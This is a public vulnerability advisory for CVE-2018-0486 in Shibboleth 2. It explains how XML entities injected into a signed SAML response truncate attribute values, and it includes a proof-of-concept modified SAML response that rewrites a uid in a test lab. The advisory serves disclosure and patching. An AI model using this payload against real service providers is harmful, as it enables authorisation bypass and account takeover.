Advisory: Truncation of SAML Attributes in Shibboleth 2 RedTeam Pentesting discovered that the shibd service of Shibboleth 2 does not extract SAML attribute values in a robust manner. By inserting XML entities into a SAML response, attackers may truncate attribute values without breaking the document's signature. This might lead to a complete bypass of authorisation mechanisms. Details ======= Product: Shibboleth 2 Affected Versions: before 2.6.1 (with XMLTooling-C prior 1.6.3) Fixed Versions: 2.6.1 Vulnerability Type: Authorisation Bypass Security Risk: high Vendor URL: https://www.shibboleth.net/ Vendor Status: notified Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-013 Advisory Status: public CVE: CVE-2018-0486 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0486 Introduction ============ "Shibboleth is among the world's most widely deployed federated identity solutions, connecting users to applications both within and between organizations. Every software component of the Shibboleth system is free and open source. Shibboleth is an open-source project that provides Single Sign-On capabilities and allows sites to make informed authorization decisions for individual access of protected online resources in a privacy-preserving manner." (from the Shibboleth Consortium's website [1]) More Details ============ Shibboleth 2 makes use of SAML 2 to communicate assertions between identity providers and service providers. In some modes of operation, SAML messages are relayed through a user's browser. Therefore, their integrity must be protected. SAML accomplishes this by utilizing the XML signature standard [2] to sign its messages. When employing signatures, it is important that signed data is interpreted in a consistent manner by all parties. RedTeam Pentesting discovered that by inserting XML entities into a SAML response, the XML signature processor and the Shibboleth application will interpret the response differently. Parts of the document, for example values of SAML attributes, can partially be substituted by XML entities. An inline document type definition at the beginning of the XML document is inserted to define these entities. During signature verification, the XML document is canonicalized, which includes resolution of entities. The definition of all entities is chosen such that, after their resolution, the original contents of the XML document appear again. For example, if "RedTeam" was replaced with "Re&x;am", the entity "x" will be defined as the string "dTe". Consequently, the signature remains intact as the content of the document was not changed. After validating the signature of a SAML response, Shibboleth will extract various information from the document, such as the values of SAML attributes. Extracting strings from the XML DOM is implemented by the function shown below (shortened and re-formatted): ------------------------------------------------------------------------ void AbstractXMLObjectUnmarshaller::unmarshallContent( const DOMElement* domElement) { [...] DOMNode* childNode = domElement->getFirstChild(); [...] unsigned int position = 0; while (childNode) { if (childNode->getNodeType() == DOMNode::ELEMENT_NODE) { [...] // Advance the text node position marker. ++position; } else if ( childNode->getNodeType() == DOMNode::TEXT_NODE || childNode->getNodeType() == DOMNode::CDATA_SECTION_NODE ) { m_log.debug("processing text content at position (%d)", position); setTextContent(childNode->getNodeValue(), position); } childNode = childNode->getNextSibling(); } } ------------------------------------------------------------------------ This function fails to take into account the presence of sibling text and entity nodes in the DOM. The "position" variable is only incremented if an element node is encountered. If sibling text nodes are encountered, "setTextContent" will be called multiple times with "position" set to zero. Consequently, only the contents of the last sibling text node will be retrieved from the DOM. For example, consider the following XML snippet: <x>attacker&x;admin@example.net</x> When called on "<x>", the "unmarshallContent" function will first extract "attacker". The "&x;" entity will be ignored. Next, "admin@example.net" will be fetched from the DOM. However, as "position" was never incremented, this latter string overwrites the previously extracted data. By exploiting the behaviour of this function, attackers can truncate SAML attribute values. Arbitrary prefixes and or suffixes may be removed without breaking the XML signature. Proof of Concept ================ Exploitation of this vulnerability is demonstrated using the dockerized-idp-testbed [3] which implements a minimal Shibboleth infrastructure using multiple docker containers. It includes a sample PHP service provider that utilizes Apache mod_shib and shibd for authentication purposes. A Java-based Shibboleth identity provider is included which is backed by LDAP. First, the service provider application is accessed without authentication. It will generate a SAML request and redirect to the identity provider. Using the credentials "staff1:password" authentication is performed at the identity provider. Afterwards, the identity provider will redirect back to the service provider application using an HTTP POST request which includes a SAML response. This HTTP request is intercepted and the XML document is extracted: ------------------------------------------------------------------------ <?xml version="1.0" encoding="UTF-8"?> <saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="https://idptestbed/Shibboleth.sso/SAML2/POST" ID="_04cfe67e596b7449d05755049ba9ec28" InResponseTo="_dbbb85ce7ff81905a3a7b4484afb3a4b" IssueInstant="2017-12-08T15:15:56.062Z" Version="2.0"> <saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"> https://idptestbed/idp/shibboleth </saml2:Issuer> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha512"/> <ds:Reference URI="#_04cfe67e596b7449d05755049ba9ec28"> <ds:Transforms> <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> </ds:Transforms> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha512"/> <ds:DigestValue> WOqxoqLlLBlkymI8WFIvMYK+8xakSCyuykHnD2ffLfM0rxRP3RrrYUETDo7Wx 8Hji4ECd70FvkhWM0Vwhfhuhg== </ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue> VmfS2vJ2FnoB45rzSMrgOvqpMLqPuxV0e1dZA5L2DfcC8tJ6ao6GPE0pdsgYYyxdjI/eY4fM xnCLkeZfHPNt6lXa+/N1yWmxdWnhHJ9XYrWS+0Qgo7kdcWBDLIRjKdxnqYKrtT14I1qpSq2K gKeoFK2nZ2JkIH1F69Hj7GFT4gGFJY25RoKfOvcyI6Pb2MFT7PmmW5Fu2CoJRTOTpI3lyLq8 3YCbNaX9khBdpe8oIA8T89kQuwOTy0rkqAMONh+OizTPVkaCldT39ohO/WZftS33zsC9UlSJ NPAnKlSHYuObZoB6tiU6qGX5SLhBYuy0kaA7WHl2Vu7bceXDlMvDqw== </ds:SignatureValue> <ds:KeyInfo> <ds:X509Data> <ds:X509Certificate> MIIDFDCCAfygAwIBAgIVAN3vv+b7KN5Se9m1RZsCllp/B/hdMA0GCSqGSIb3DQEBCwUAMBUx EzARBgNVBAMMCmlkcHRlc3RiZWQwHhcNMTUxMjExMDIyMDE0WhcNMzUxMjExMDIyMDE0WjAV MRMwEQYDVQQDDAppZHB0ZXN0YmVkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA h91caeY0Q85uhaUyqFwP2bMjwMFxMzRlAoqBHd7gu6eo4duaeLz1BaoR2XTBpNNvFR5oHH+T kKahVDGeH5+kcnIpxI8JPdsZml1srvf2Z6dzJsulJZUdpqnngycTkGtZgEoC1vmYVky2BSAI Iifmdh6s0epbHnMGLsHzMKfJCb/Q6dYzRWTCPtzE2VMuQqqWgeyMr7u14x/Vqr9RPEFsgY8G Iu5jzB6AyUIwrLg+MNkv6aIdcHwxYTGL7ijfy6rSWrgBflQoYRYNEnseK0ZHgJahz4ovCag6 wZAoPpBsuYlY7lEr89Ucb6NHx3uqGMsXlDFdE4QwfDLLhCYHPvJ0uwIDAQABo1swWTAdBgNV HQ4EFgQUAkOgED3iYdmvQEOMm6u/JmD/UTQwOAYDVR0RBDEwL4IKaWRwdGVzdGJlZIYhaHR0 cHM6Ly9pZHB0ZXN0YmVkL2lkcC9zaGliYm9sZXRoMA0GCSqGSIb3DQEBCwUAA4IBAQBIdd4Y WlnvJjql8+zKKgmWgIY7U8DA8e6QcbAf8f8cdE33RSnjI63Xsv/y9GfmbAVAD6RIAXPFFeRY J08GOxGI9axfNaKdlsklJ9bk4ducHqgCSWYVer3sRQBjxyOfSTvk9YCJvdJVQRJLcCvxwKak FCsOSnV3t9OvN86Ak+fKPVB5j2fM/0fZKqjn3iqgdNPTLXPsuJLJO5lITRiBa4onmVelAiCs tI9PQiaEck+oAHnMTnC9JE/BDHv3e4rwq3LznlqPw0GSd7xqNTdMDwNOWjkuOr3sGpWS8ms/ ZHHXV1Vd22uPe70is00xrv14zLifcc8oj5DYzOhYRifRXgHX </ds:X509Certificate> </ds:X509Data> </ds:KeyInfo> </ds:Signature> <saml2p:Status> <saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </saml2p:Status> <saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="_0d9bb7eeff709e93bc84196a815b5d2f" IssueInstant="2017-12-08T15:15:56.062Z" Version="2.0"> <saml2:Issuer>https://idptestbed/idp/shibboleth</saml2:Issuer> <saml2:Subject> <saml2:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient" NameQualifier="https://idptestbed/idp/shibboleth" SPNameQualifier="https://sp.idptestbed/shibboleth"> AAdzZWNyZXQxb597SlBurufjA6ok5OqWHfUFMVzkhgqw6ZMRuvy5mcH8jMNiaqA4DyyYJmjJ q3Da9qTcCFt1gom2qN7u+jqySIEDXGxwalmT0uYitXl5uSJ9rvZm4oc+5RcpU/bGUqxBU9Ce m7I= </saml2:NameID> <saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml2:SubjectConfirmationData Address="172.19.0.3" InResponseTo="_dbbb85ce7ff81905a3a7b4484afb3a4b" NotOnOrAfter="2017-12-08T15:20:56.077Z" Recipient="https://idptestbed/Shibboleth.sso/SAML2/POST"/> </saml2:SubjectConfirmation> </saml2:Subject> <saml2:Conditions NotBefore="2017-12-08T15:15:56.062Z" NotOnOrAfter="2017-12-08T15:20:56.062Z"> <saml2:AudienceRestriction> <saml2:Audience> https://sp.idptestbed/shibboleth </saml2:Audience> </saml2:AudienceRestriction> </saml2:Conditions> <saml2:AuthnStatement AuthnInstant="2017-12-08T15:15:55.942Z" SessionIndex="_4024a546cb14b165d953781d0472c105"> <saml2:SubjectLocality Address="172.19.0.3"/> <saml2:AuthnContext> <saml2:AuthnContextClassRef> urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport </saml2:AuthnContextClassRef> </saml2:AuthnContext> </saml2:AuthnStatement> <saml2:AttributeStatement> <saml2:Attribute FriendlyName="uid" Name="urn:oid:0.9.2342.19200300.100.1.1" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"> <saml2:AttributeValue> staff1 </saml2:AttributeValue> </saml2:Attribute> <saml2:Attribute FriendlyName="mail" Name="urn:oid:0.9.2342.19200300.100.1.3" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"> <saml2:AttributeValue> staff1@idptestbed.edu </saml2:AttributeValue> </saml2:Attribute> <saml2:Attribute FriendlyName="sn" Name="urn:oid:2.5.4.4" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"> <saml2:AttributeValue> aff </saml2:AttributeValue> </saml2:Attribute> <saml2:Attribute FriendlyName="givenName" Name="urn:oid:2.5.4.42" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"> <saml2:AttributeValue> St </saml2:AttributeValue> </saml2:Attribute> </saml2:AttributeStatement> </saml2:Assertion> </saml2p:Response> ------------------------------------------------------------------------ Next, the SAML response is modified as follows: ------------------------------------------------------------------------ <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE Response [ <!ENTITY s "s"> <!ENTITY f1 "f1"> ]> <saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="https://idptestbed/Shibboleth.sso/SAML2/POST" ID="_04cfe67e596b7449d05755049ba9ec28" InResponseTo="_dbbb85ce7ff81905a3a7b4484afb3a4b" IssueInstant="2017-12-08T15:15:56.062Z" Version="2.0"> [...] <saml2:Attribute FriendlyName="uid" Name="urn:oid:0.9.2342.19200300.100.1.1" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"> <saml2:AttributeValue> &s;taf&f1; </saml2:AttributeValue> </saml2:Attribute> [...] </saml2p:Response> ------------------------------------------------------------------------ At the beginning of the document, an inline document type definition was inserted which defines two entities: * &s; which resolves to the string "s" * &f1; which resolves to the string "f1" Additionally, the value of the "uid" attribute is rewritten using these entities: The original value of "staff1" is replaced with "&s;taf&f1;". After these modifications, the XML document is re-inserted into the HTTP POST request which is then sent to the service provider. The SAML response is accepted by the service provider. Due to the vulnerability, the service provider application reports "taf" as the value of the "uid" attribute. Workaround ========== The use of XML encryption can serve as a mitigation for this vulnerability but may still allow attacks in certain scenarios. Fix === Manually update to the latest version [4] as described in the security advisory published by Shibboleth [5]. Alternatively, use the operating system's package management to receive the update [6]. Furthermore, a new version of the XMLTooling-C library (1.6.3) has been released to address this vulnerability. DTD processing is now disabled in the XML parser. Yet, some platforms ship with old parser versions that do not allow DTD processing to be disabled, namely Red Hat and CentOS. Therefore, the "unmarshallContent" function has also been hardened to mitigate the vulnerability on these platforms. Security Risk ============= The key feature of Shibboleth, secure transfer of assertions, is compromised. Therefore, the vulnerability is rated as a high risk. In certain circumstances, this might lead to a complete bypass of authorisation mechanisms. In practice, the risk for service providers is highly dependent on the actual deployment of the Shibboleth infrastructure: Sometimes, SAML responses are encrypted or not transferred through a browser. In this case, an attacker is not able to insert XML entities. Whether truncating SAML attribute values is profitable for attackers also depends on the actual use and structure of these values. Attackers may use an application's self-service features to change their account's email to a manipulated but valid address. Truncation of this email address in a SAML response could lead to access to further accounts, effectively bypassing authorisation mechanisms. Timeline ======== 2017-11-06 Vulnerability identified 2017-11-13 Customer approved further research 2017-12-01 Further research conducted 2018-01-09 Customer approved disclosure to vendor 2018-01-10 Vendor notified 2018-01-12 Vendor released fixed version 2018-01-15 Advisory released References ========== [1] https://www.shibboleth.net/ [2] https://www.w3.org/TR/xmldsig-core/ [3] https://github.com/UniconLabs/dockerized-idp-testbed [4] https://shibboleth.net/downloads/service-provider/2.6.1/ [5] https://shibboleth.net/community/advisories/secadv_20180112.txt [6] https://security-tracker.debian.org/tracker/CVE-2018-0486 RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/ Working at RedTeam Pentesting ============================= RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://www.redteam-pentesting.de/jobs/ -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschaftsfuhrer: Patrick Hof, Jens Liebchen